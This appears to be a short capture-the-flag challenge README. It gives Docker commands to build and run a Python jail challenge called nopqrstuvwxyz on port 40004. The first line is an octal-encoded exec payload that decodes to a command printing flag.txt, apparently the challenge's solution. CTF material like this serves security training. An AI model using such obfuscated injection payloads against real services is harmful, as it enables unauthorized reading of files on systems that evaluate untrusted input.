exec("\160\162\151\156\164\050\157\160\145\156\050\047\146\154\141\147\056\164\170\164\047\051\056\162\145\141\144\050\051\051")

This challenge should be a Docker container that runs the Python script nopqrstuvwxyz.py every time someone connects on port 40004. All the proper files are included in here. The command to build the docker container is (when located inside of this directory):
sudo docker build -t nopqrstuvwxyz .
sudo docker network create -d bridge nopqrstuvwxyzThe command to start the challenge is:
sudo docker run -p 40004:40000 --detach --name nopqrstuvwxyz --network nopqrstuvwxyz nopqrstuvwxyz:latestThe command to stop the challenge (since CTRL+C won't work) is:
sudo docker stop nopqrstuvwxyz
